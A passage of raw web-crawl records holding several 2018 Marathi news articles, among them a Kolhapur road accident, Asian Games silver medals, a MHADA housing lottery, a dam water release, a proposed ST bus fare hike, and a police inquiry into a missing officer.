मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00254.warc.wet.gz", "language": "mr", "language_score": 0.89, "bucket": "all"} {"url": "http://www.tarunbharat.com/news/538427", "date_download": "2018-09-25T17:31:05Z", "digest": "sha1:IIJ7BOEXRCHJJ4E77CGJ2YRGEDERNK4V", "length": 6085, "nlines": 40, "source_domain": "www.tarunbharat.com", "title": "ऍपेरिक्षा-डंपरची धडक, बालक ठार, पाच गंभीर - तरुण भारत | तरुण भारत", "raw_content": "\nYou are here: Home » आवृत्ती » कोल्हापुर » ऍपेरिक्षा-डंपरची धडक, बालक ठार, पाच गंभीर\nऍपेरिक्षा-डंपरची धडक, बालक ठार, पाच गंभीर\nलाटवाडी -बोरगाव मार्गावर अपघात\nडंपर व रिक्षा अपघातात तीन वर्षीय बालक ठार झाले तर पाच जण गंभीर जखी ^झाले. अब्दूललाट (ता. शिरोळ) येथील लाटवाडी-पाचवामैल रस्त्यावर रविवारी दुपारी ही दुर्घटना घडली. महंमद फिरोज मुल्ला (वय 5) असे मृत बालकाचे नाव आहे. तर हसन हारूगिरे (वय 55), राबिया हसन हारूगिरे (45), उमर फारूक हारूगिरे (वय 25), हुजेपा हारूगिरे (वय 22), आसमा फिरोज मुल्ला (वय 24) हे गंभीर जखमी झाले आहेत.\nअब्दूललाट येथील हसन हारूगिरे हे कुटुंबीयांसह स्वमालकीच्या ऍपेरिक्षाने सदलगाकडे पाहुण्यांच्याकडे जात होते. बोरगावहून लाटवाटीच्या दिशेने ज्योती स्टोन क्रशरचा डंपरजात होता. पाचवा मैलजवळील देवमोरे मळ्याजवळ ऍपेरिक्षा व डंपरची समोरासमोर धडक झाली. रिक्षामधील बालक महमंद मुल्ला जागीच ठार झाला. हसन, रबिया, फारुक, हुसेबा व आस्मा हे गंभीर जखमी झाले. यांना तातडीने कोल्हापूरच्या शासकीय रूग्णालयामध्ये उपचारासाठी दाखल करण्यात आले. आस्मा यांचे सासर कोल्हापूर असून त्या माहेरी आपला मुलगा महमदला घेऊन आल्या होत्या. त्यांच्या मुलावर काळाने घाला घातल्याने परिसरातून हळहळ व्यक्त होत आहे. दोन्ही वाहनांची समोरासमोर धडक झाल्याने रिक्षाच्या दर्शनी भागाचे मोठे नुकसान झाले आहे. दरम्यान, डंपर चालक फरारी झाला आहे. आमदार उल्हास पाटील, जिल्हा परिषद सदस्य विजय भोजे, उपसरपंच वृषभ कोळी, शंकर पाटील, पोलीस पाटील मानसिंग भोसले आदींनी घटनास्थळी भेट दिली.\nमाणसामध्ये बदल घडवण्याची ताकत ज्ञानेश्वरीमध्ये\nमनुस्मृती दहन दिनानिमित्त सिध्दार्थनगरमध्ये ध्वजारोहण\nअंतर्गत सुरक्षेसाठी नागरिकांनी जागरूक राहणे आवश्यक\nकागदावर नको तर काळजावर उत्तीर्ण व्हा\nपाच सत्रांच्या घसरणीला ब्रेक\nघोटाळे, थकबाकीदारांविरोधात बँकांनी कारवाई करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00255.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "https://lokmat.news18.com/news/day-8-hima-das-and-muhammed-anas-yahiya-won-silver-medal-lakshmanan-won-bronze-302496.html", "date_download": "2018-09-25T16:48:07Z", "digest": "sha1:5V5A27IIK6BVLRKEHO5C65TEUBSEXKV7", "length": 13310, "nlines": 127, "source_domain": "lokmat.news18.com", "title": "Asian Games 2018: हिमा दास आणि मोहम्‍मद अनास यांची रौप्यकमाई !", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nAsian Games 2018: हिमा दास आणि मोहम्‍मद अनास यांची रौप्यकमाई \nजकार्ता, 26 ऑगस्ट : आशियाई क्रीडा स्पर्धेच्या 8 व्या दिवशी आज भारताच्या दोन धावपटूंनी आणि दोन घोडेस्वारांनी प्रत्येकी एक याप्रमाणे चार रौप्यपदके मिळवली. 400 मिटर धावण्याच्या शर्य़तीत हिमा दास आणि मोहम्‍मद अनास या दोघांनी, तर फुआद मिर्जा व आणखी एक अशी दोन रौप्यपदके घोडेस्वारांनी मिळवली.\nधावण्याच्या स्पर्धेत हिमा दासने 400 मीटर अंतर 50.79 सेकंदात पार केलं, तर मोहम्मद अनसने तेव्हढंच अंतर 45.69 सेकंदात कापून रौप्य पदके आपल्या नावे केली. तर गोविंदन लक्ष्मणन याने 10,000 मीटर धावण्याच्या स्पर्धेत कांस्यपदक मिळले. त्याने हे अंतर 29.44 सेकंदात कापलं.\nआजच्या दिवसात पहीलं रौप्यपदक मिळवण्याचा मान घोडेस्वार फुआद मिर्जाला मिळला. तर दुसरे रौप्यपदकही याच खेळ प्रकारात भारताला मिळाले. अत्यंत चोख कामगिरी करत या खेळाडूंनी ही पदके भारताच्या खात्यात जमा केली. हिमा आणि मोहम्मद यांनीसुद्धा अत्यंत चमकदार कामगिरी करत दोन रौप्यपदके भारताला मिळवून दिली.\nदरम्यान, सायना नेहवाल आणि पी.व्ही. सिंधू या दोघीजणी महिला एकेरीत, तर आर्चरी खेळ प्रकारात भारतीय संघ उपांत्य फेरीत दाखल झाला आहे.\nPHOTOS : राज ठाकरेंच्या घरी झालं रक्षाबंधन साजरं\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00255.warc.wet.gz", "language": "mr", "language_score": 0.94, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/buldhana-arban-bank/", "date_download": "2018-09-25T17:12:39Z", "digest": "sha1:JNGQYYSFAJCBH2DIX7SAM2HBANPGHE5Z", "length": 9452, "nlines": 109, "source_domain": "lokmat.news18.com", "title": "Buldhana Arban Bank- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nबुलढाणा अर्बन बँकेकडून डीएसकेंना 100 कोटींचं थेट कर्ज नाहीच \nगुंतवणूकदार फसवणूक प्रकरणामुळे अडचणीत आलेल्या डीएसकेंनी बुलढाणा अर्बन बँकेने अद्याप कोणतंही थेट कर्ज देऊ केलं नसल्याचा खुलासा बँकेचे अध्यक्ष राधेयश्याम चांडक यांनी केलाय.\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00255.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "http://www.esakal.com/pune/mhada-home-draw-117242", "date_download": "2018-09-25T17:54:03Z", "digest": "sha1:FAE4ASSUIEFM2ZUH4FVJ7ND25S6BFWM2", "length": 13241, "nlines": 198, "source_domain": "www.esakal.com", "title": "mhada home draw म्हाडाची घरे साडेनऊ लाखांपासून | eSakal", "raw_content": "\nम्हाडाची घरे साडेनऊ लाखांपासून\nशुक्रवार, 18 मे 2018\nपुणे - म्हाडाकडून लॉटरी पद्धतीने सदनिका उपलब्ध होणार आहेत. आर्थिकदृष्ट्या दुर्बल घटकांसाठी (ईडब्लूएस) साडेनऊ लाखांत, कमी उत्पन्न गटासाठी (लो इन्कम ग्रुप) १४ लाखांत, मध्यमवर्गीयांसाठी (एमआयजी) २६ लाखांत ही घरे उपलब्ध होणार असून, त्यामध्ये सर्वाधिक सदनिका आर्थिकदृष्ट्या दुर्बल घटकांसाठी उपलब्ध होणार आहेत.\nपुणे - म्हाडाकडून लॉटरी पद्धतीने सदनिका उपलब्ध होणार आहेत. आर्थिकदृष्ट्या दुर्बल घटकांसाठी (ईडब्लूएस) साडेनऊ लाखांत, कमी उत्पन्न गटासाठी (लो इन्कम ग्रुप) १४ लाखांत, मध्यमवर्गीयांसाठी (एमआयजी) २६ लाखांत ही घरे उपलब्ध होणार असून, त्यामध्ये सर्वाधिक सदनिका आर्थिकदृष्ट्या दुर्बल घटकांसाठी उपलब्ध होणार आहेत.\nम्हाडाने विविध उत्पन्न गटांतील नागरिकांसाठी पुणे व पिंपरी-चिंचवड येथील ३ हजार १३९ सदनिका आणि २९ भूखंडांच्या विक्रीसाठी सोडत जाहीर केली आहे. यासाठी नागरिकांना येत्या शनिवारपासून (ता. १९) ऑनलाइन अर्ज करता येणार आहे. घरांची सोडत ३० जून २०१८ रोजी होणार आहे. त्यासाठी नागरिकांना म्हाडाच्या संकेतस्थळावर नोंदणी करावी लागेल. नोंदणी प्रक्रिया येत्या शनिवारपासून (ता. १९) दुपारी बारा वाजल्यानंतर सुरू होणार आहे. मागील एक वर्षापासून चालू असलेल्या या कामाला आज मूर्त स्वरूप आले आहे.\nऑनलाइन लॉटरी पद्धतीने या सदनिकांचे वाटप रीतसर व नियमानुसार करीत आहोत. इतक्‍या मोठ्या प्रमाणात प्रथमच घरकुलांचे वाटप होत आहे. याद्वारे आर्थिकदृष्ट्या गरीब व गरजू नागरिकांची घरांची मागणी पूर्ण होणार आहे.\n- समरजितसिंग घाटगे, सभापती, म्हाडा, पुणे\nऑनलाइन नोंदणी उद्यापासून; 30 जूनला सोडत\nनांदेड सिटी - १०८०\nरावेत, पुनावळे - १२०\nचऱ्होली वडमुखवाडी - २१४\nइड्‌ब्लूएससाठी (३० चौ. मीटरपर्यंत) - ९.५० लाख ते १७ लाख रुपये\nएलआयजीसाठी (३० ते ६० चौ. मीटरपर्यंत) - १४ लाख ते २६ लाख रुपये\nएमआयजी आणि एचआयजीसाठी (८० चौ. मीटर व त्यावरील) - २६ लाख रुपयांपासून पुढे\nअशी असेल उत्पन्नाची अट\nइडब्लूएस गट - ३ लाख रुपयांपर्यंत\nएलआयजी गट - अट ३ ते ६ लाख रुपयांपर्यंत\nएमआयजी गट - ६ ते ९ लाख रुपयांपर्यंत\nएचआयजी गट - ९ लाख रुपयांच्या पुढे\nएलआयजी २ हजार ४०३\nशेतकऱ्यांची बाजार समितीबद्दलची विश्वासार्हता वाढली : समाधान आवताडे\nमंगळवेढा : दुष्काळसदृष्य तालुक्यातील शेतकऱ्यांच्या अडचणी ओळखून कृषी उत्पन्न बाजार समितीने शेतकर्‍यांसाठी अनेक हिताच्या योजना राहिल्याने...\nहदगाव नगरपरिषदेचा सेवक एसीबीच्या जाळ्यात\nनांदेड : जन्म प्रमाणपत्रावरील नाव दुरुस्ती करून देण्यासाठी एका सेवकाला लाचलुचपत प्रतिबंदक विभागाने पाचशे रुपये लाच स्विकारताना रंगेहात पकडले. ही...\nउस्मानाबाद जिल्ह्यात स्वाईन फ्लुचा पहिला बळी\nजेवळी : स्वाईन फ्लुमुळे जेवळी (ता. लोहारा, जि. उस्मानाबाद) येथील एका महिलेचा पुणे येथील खासगी रुग्णालयात उपचारादरम्यान मंगळवारी (ता. 25) सकाळी आठ...\nट्रक-बसच्या धडकेत आठजण जखमी\nवडोद बाजार : पाथ्री (ता.फुलंब्री) गावाजवळ बस व ट्रक यांच्यात झालेल्या अपघातात आठ जण जखमी झाल्याची घटना मंगळवारी (ता. 25) पहाटे पाच वाजेच्या...\nकाजू लागवडीत घेतले झेंडूचे आंतरपीक\nपावस - विद्युत मंडळात नोकरी करीत असताना तेथे सतत कामात राहण्याच्या सवयीमुळे निवृत्तीनंतर घरी बसून राहण्यापेक्षा काजू लागवड करून त्यात आंतरपीक...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00256.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://www.pudhari.news/news/Kolhapur/5000-cusecs-water-from-kalammawadi-dam/", "date_download": "2018-09-25T16:51:16Z", "digest": "sha1:KFMBMSTNGPQEAOTDIERPBLNX7HEZDDDT", "length": 3901, "nlines": 36, "source_domain": "www.pudhari.news", "title": " काळम्मावाडीतून ५००० क्युसेक विसर्ग | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Kolhapur › काळम्मावाडीतून ५००० क्युसेक विसर्ग\nकाळम्मावाडीतून ५००० क्युसेक विसर्ग\nदूधगंगानगर (ता. राधानगरी) येथील राजर्षी शाहू सागर परिसरात पावसाचा जोर वाढला असल्याने काळम्मावाडी धरणान प्रतिसेकंद पाच हजार क्युसेक पाण्याचा विसर्ग दूधगंगा नदीपात्रात 13 ऑगस्ट रोजी सकाळी 10 वाजता करण्यात आला आहे.\nकाळम्मावाडीच्या 5000 हजार क्युसेक पाण्याचा विसर्ग झाल्याने दूधगंगा नदी पात्रातील सोळांकूर, सुळंबी (जुना बंधारा) पाण्याखाली दुसर्‍यांदा जाण्याची शक्यता आहे. तर दूधगंगा काठावरची ऊस, भात पिके पाण्याखाली जात असल्याने पिकाचे मोठे नुसकान होणार आहे.\nआजअखेर धरण परिसरात 2951 मि. मीटर पाऊस झाला असून धरणाच्या जलाशयाची पातळी 645.09 मीटर असून पाणीसाठा 688.343 द. ल. घ. मी. (24 .31 टी. एम. सी.) म्हणजे 95.76 टक्के धरण भरले आहे .\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00257.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/ST-fares-increase-30-percent-proposal/", "date_download": "2018-09-25T16:57:51Z", "digest": "sha1:7SUOPE3WTRB3N6ZIKGYD3LTWP4XTJY4F", "length": 5537, "nlines": 36, "source_domain": "www.pudhari.news", "title": " एसटी भाडेवाढीचा ३० टक्क्यांचा प्रस्ताव | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › एसटी भाडेवाढीचा ३० टक्क्यांचा प्रस्ताव\nएसटी भाडेवाढीचा ३० टक्क्यांचा प्रस्ताव\nइंधनाचे वाढते दर आणि कर्मचार्‍यांच्या वेतन वाढीमुळे एसटी महामंडळावर येणारा आर्थिंक बोजा कमी करण्यासाठी महामंडळाच्यावतीने एसटीच्या भाड्यात तब्बल 30 टक्के वाढीचा प्रस्ताव अध्यक्षांकडे सादर करण्यात आला आहे. वाहनांच्या सुट्या भागांच्या वाढलेल्या किमती, तसेच महामार्गावरील टोलच्या दरात झालेल्या वाढीची तफावत दुर करण्यासाठी हा दरवाढीचा प्रस्ताव ठेवण्यात आला असल्याचे सांगण्यात आले.\nएस. टी. प्रशासनाने आपोआप भाडेवाढीच्या सुत्रानुसार इंधन दरात झालेली वाढ, भविष्यात कर्मचार्‍यांच्या वेतनकराराच्या अनुषंगाने येणारा आर्थिक बोजा, वाहनांच्या सुट्या भागाचे वाढलेले दर या घटकांचा विचार करुन एसटीचे तिकीटदर 30 टक्क्यांनी वाढविण्याचा प्रस्ताव एसटी महामंडळाच्या अध्यक्षांना सादर केला आहे. डिझेल दरवाढीमुळे सुमारे 470 कोटी रुपये अतिरिक्त रक्कम खर्च होणार असून, तेवढीच रक्कम कर्मचार्‍यांच्या वेतनवाढीसाठी तरतूद करणे अपेक्षित आहे.\nत्याचबरोबर वाहनांच्या सुट्या भागांच्या वाढलेल्या किंमती व महामार्गावरील टोल दरात झालेली वाढ यामुळे तब्बल2 हजार 200 कोटी रुपये संचित तोटा सहन करणार्‍या एस. टी. महामंडळाला नाईलाजास्तव 30 टक्के भाडेवाढ करणे गरजेचे आहे. त्यानुसार भाडेवाढीचा प्रस्ताव एसटी महामंडळाचे अध्यक्ष तथा परिवहन मंत्री दिवाकर रावते सादर केला आहे. तेच अंतिम निर्णय घेतील असे एस.टी. प्रशासनाकडून कळविण्यात आले आहे.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00257.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Mumbai-Thane-Raigad/eknath-khadse-relatives-inquiry-in-case-of-ashvini-bindre/", "date_download": "2018-09-25T17:46:39Z", "digest": "sha1:HCOA4ZEFVBCNER3TBQHINK5G2MDFRKWW", "length": 7689, "nlines": 52, "source_domain": "www.pudhari.news", "title": " अश्‍विनी बिंद्रेप्रकरणी खडसेंच्या भाच्याची चौकशी | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Mumbai-Thane-Raigad › अश्‍विनी बिंद्रेप्रकरणी खडसेंच्या भाच्याची चौकशी\nअश्‍विनी बिंद्रेप्रकरणी खडसेंच्या भाच्याची चौकशी\nमुंबई : पुढारी वृत्तसेवा\nबेपत्ता असलेल्या सहाय्यक पोलीस निरीक्षक अश्‍विनी जयकुमार बिद्रे प्रकरणात भाजपचे ज्येष्ठ नेते आणि माजी मंत्री एकनाथ खडसे यांचे भाचे राजेश पाटील यांना पोलिसांनी जळगाव येथून ताब्यात घेऊन त्यांची काही तास चौकशी केली.\nपोलीस सूत्रांनी दिलेल्या माहितीनुसार अटकेत असलेले वरिष्ठ पोलीस निरीक्षक अभय शामसुंदर कुरुंदकर, अश्‍विनी बिद्रे आणि राजेश पाटील हे 15 एप्रिल 2016 रोजी मीरा-भाईंदर येथे होते. मोबाईलच्या लोकेशनवरून ही बाब पुढे आली आहे. याच दिवशी अश्‍विनी बिद्रे शेवटच्या दिसल्या होत्या. पाटील, कुरुंदकर यांच्यात अनेक वेळा मोबाईलवरून यादिवशी बोलणे झाले होते. कुरुंदकर यांच्याशी ज्यांनी ज्यांनी संपर्क साधला, त्या सर्वांची चौकशी होणार आहे.\nकोकण भवनात नागरी हक्‍क संरक्षण विभागात कार्यरत असलेले आणि कळंबोलीतील रोडपाळी येथे वास्तव्यास असलेल्या अश्‍विनी बिद्रे 15 एप्रिल 2016 पासून बेपत्ता आहेत. 14 जुलै 2016 रोजी त्या बेपत्ता असल्याची फिर्याद त्यांच्या नातेवाइकांकडून दाखल करण्यात आली होती. 31 जानेवारी 2017 रोजी बिद्रे 